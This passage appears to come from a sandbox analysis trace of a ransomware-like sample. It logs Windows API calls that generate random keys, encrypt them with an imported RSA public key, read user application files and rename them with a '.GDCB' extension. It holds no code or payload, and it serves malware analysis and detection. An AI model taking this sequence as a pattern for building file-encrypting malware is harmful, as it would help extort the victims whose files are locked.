dwFlags=0x0) returned 1 [0249.929] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0249.931] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6780688) returned 1 [0249.931] CryptGetKeyParam (in: hKey=0x6780688, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0249.931] CryptEncrypt (in: hKey=0x6780688, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xca90000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xca90000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0249.931] GetLastError () returned 0x0 [0249.931] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0249.931] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AppData\\User\\Default\\Indexed DB\\edbtmp.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\appdata\\user\\default\\indexed db\\edbtmp.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0249.933] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcaa0000 [0249.936] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcab0000 [0249.939] ReadFile (in: hFile=0x520, lpBuffer=0xcab0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xcab0000*, lpNumberOfBytesRead=0x285d3e8*=0x80000, lpOverlapped=0x0) returned 1 [0249.962] VirtualAlloc (lpAddress=0x0, dwSize=0x80000, flAllocationType=0x3000, flProtect=0x4) returned 0xcbc0000 [0249.980] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AppData\\User\\Default\\Indexed DB\\edbtmp.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\appdata\\user\\default\\indexed db\\edbtmp.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AppData\\User\\Default\\Indexed DB\\edbtmp.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\appdata\\user\\default\\indexed db\\edbtmp.log.gdcb")) returned 1 [0249.983] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0249.986] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0249.988] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0249.989] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0249.989] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.989] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0249.991] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0249.993] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0249.994] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0249.994] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.994] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0249.996] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6780b48) returned 1 [0249.996] CryptGetKeyParam (in: hKey=0x6780b48, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0249.996] CryptEncrypt (in: hKey=0x6780b48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xca80000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xca80000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0249.996] GetLastError () returned 0x0 [0249.996] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.996] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0249.998] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6780888) returned 1 [0249.998] CryptGetKeyParam (in: hKey=0x6780888, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0249.998] CryptEncrypt (in: hKey=0x6780888, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xca90000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xca90000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0249.999] GetLastError () returned 0x0 [0249.999] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0249.999] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AppData\\User\\Default\\Indexed DB\\IndexedDB.edb" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\appdata\\user\\default\\indexed db\\indexeddb.edb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0250.000] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcaa0000 [0250.003] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcab0000 [0250.005] ReadFile (in: hFile=0x520, lpBuffer=0xcab0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xcab0000*, lpNumberOfBytesRead=0x285d3e8*=0x100000, lpOverlapped=0x0) returned 1 [0250.047] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0xcbc0000 [0250.207] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AppData\\User\\Default\\Indexed DB\\IndexedDB.edb" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\appdata\\user\\default\\indexed db\\indexeddb.edb"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AppData\\User\\Default\\Indexed DB\\IndexedDB.edb.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\appdata\\user\\default\\indexed db\\indexeddb.edb.gdcb")) returned 1 [0250.267] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4980) returned 1 [0250.270] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0250.272] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0250.273] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0250.273] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0250.273] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4980) returned 1 [0250.275] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0250.277] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0250.277] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0250.277] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0250.277] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0250.279] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x677eec8) returned 1 [0250.280] CryptGetKeyParam (in: hKey=0x677eec8, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0250.280] CryptEncrypt (in: hKey=0x677eec8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xca80000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xca80000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0250.280] GetLastError () returned 0x0 [0250.280] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0250.280] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0250.282] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x677e948) returned 1 [0250.282] CryptGetKeyParam (in: hKey=0x677e948, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0250.282] CryptEncrypt (in: hKey=0x677e948, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xca90000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xca90000*, pdwDataLen=0x285db40*=0x100) returned 1 [0250.282] GetLastError () returned 0x0 [0250.282] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0250.282] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftsolitairecollection_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x508 [0250.283] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcaa0000 [0250.285] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcab0000 [0250.288] ReadFile (in: hFile=0x508, lpBuffer=0xcab0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285db80, lpOverlapped=0x0 | out: lpBuffer=0xcab0000*, lpNumberOfBytesRead=0x285db80*=0x2210, lpOverlapped=0x0) returned 1 [0250.296] VirtualAlloc (lpAddress=0x0, dwSize=0x2210, flAllocationType=0x3000, flProtect=0x4) returned 0xcbc0000 [0250.301] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftsolitairecollection_8wekyb3d8bbwe\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftsolitairecollection_8wekyb3d8bbwe\\settings\\settings.dat.gdcb")) returned 1 [0250.555] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0250.558] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0250.560] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0250.561] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0250.561] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0250.561] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4e48) returned 1 [0250.564] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0250.566] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0250.566] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0250.566] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0250.567] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0250.569] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x6780588) returned 1 [0250.570] CryptGetKeyParam (in: hKey=0x6780588, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0250.570] CryptEncrypt (in: hKey=0x6780588, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xca80000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xca80000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0250.570] GetLastError () returned 0x0 [0250.570] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0250.570] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4980) returned 1 [0250.572] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x6780948) returned 1 [0250.572] CryptGetKeyParam (in: hKey=0x6780948, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0250.572] CryptEncrypt (in: hKey=0x6780948, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xca90000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xca90000*, pdwDataLen=0x285db40*=0x100) returned 1 [0250.572] GetLastError () returned 0x0 [0250.572] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0250.572] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.assignedaccesslockapp_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x508 [0250.574] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcaa0000 [0250.577] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcab0000 [0250.580] ReadFile (in: hFile=0x508, lpBuffer=0xcab0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285db80, lpOverlapped=0x0 | out: lpBuffer=0xcab0000*, lpNumberOfBytesRead=0x285db80*=0x2210, lpOverlapped=0x0) returned 1 [0250.590] VirtualAlloc (lpAddress=0x0, dwSize=0x2210, flAllocationType=0x3000, flProtect=0x4) returned 0xcbc0000 [0250.597] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.assignedaccesslockapp_cw5n1h2txyewy\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.assignedaccesslockapp_cw5n1h2txyewy\\settings\\settings.dat.gdcb")) returned 1 [0250.693] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0250.696] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0250.698] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0250.698] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0250.698] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0250.698] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0250.701] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0250.703] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0250.703] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0250.703] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0250.703] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0250.705] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6780d08) returned 1 [0250.706] CryptGetKeyParam (in: hKey=0x6780d08, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0250.706] CryptEncrypt (in: hKey=0x6780d08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xca80000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xca80000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0250.706] GetLastError () returned 0x0 [0250.706] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0250.706] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0250.708] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6780988) returned 1 [0250.711] CryptGetKeyParam (in: hKey=0x6780988, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0250.711] CryptEncrypt (in: hKey=0x6780988, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xca90000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xca90000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0250.712] GetLastError () returned 0x0 [0250.712] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0250.712] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\AC\\Microsoft\\Windows\\3705566220\\624664733.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cloudexperiencehost_cw5n1h2txyewy\\ac\\microsoft\\windows\\3705566220\\624664733.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0250.843] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0250.846] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0250.848] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0250.848] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0250.848] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0250.849] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0250.851] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0250.853] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0250.853] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0250.853] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0250.854] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0250.856] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6780c08) returned 1 [0250.856] CryptGetKeyParam (in: hKey=0x6780c08, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0250.856] CryptEncrypt (in: hKey=0x6780c08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcaa0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xcaa0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0250.857] GetLastError () returned 0x0 [0250.857] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0250.857] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0250.858] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67809c8) returned 1 [0250.858] CryptGetKeyParam (in: hKey=0x67809c8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0250.858] CryptEncrypt (in: hKey=0x67809c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcab0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xcab0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0250.859] GetLastError () returned 0x0 [0250.859] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0250.859] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\Microsoft\\Windows\\2577507833\\3967450640.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\ac\\microsoft\\windows\\2577507833\\3967450640.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0250.895] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0250.898] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0250.900] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0250.900] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0250.900] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0250.901] 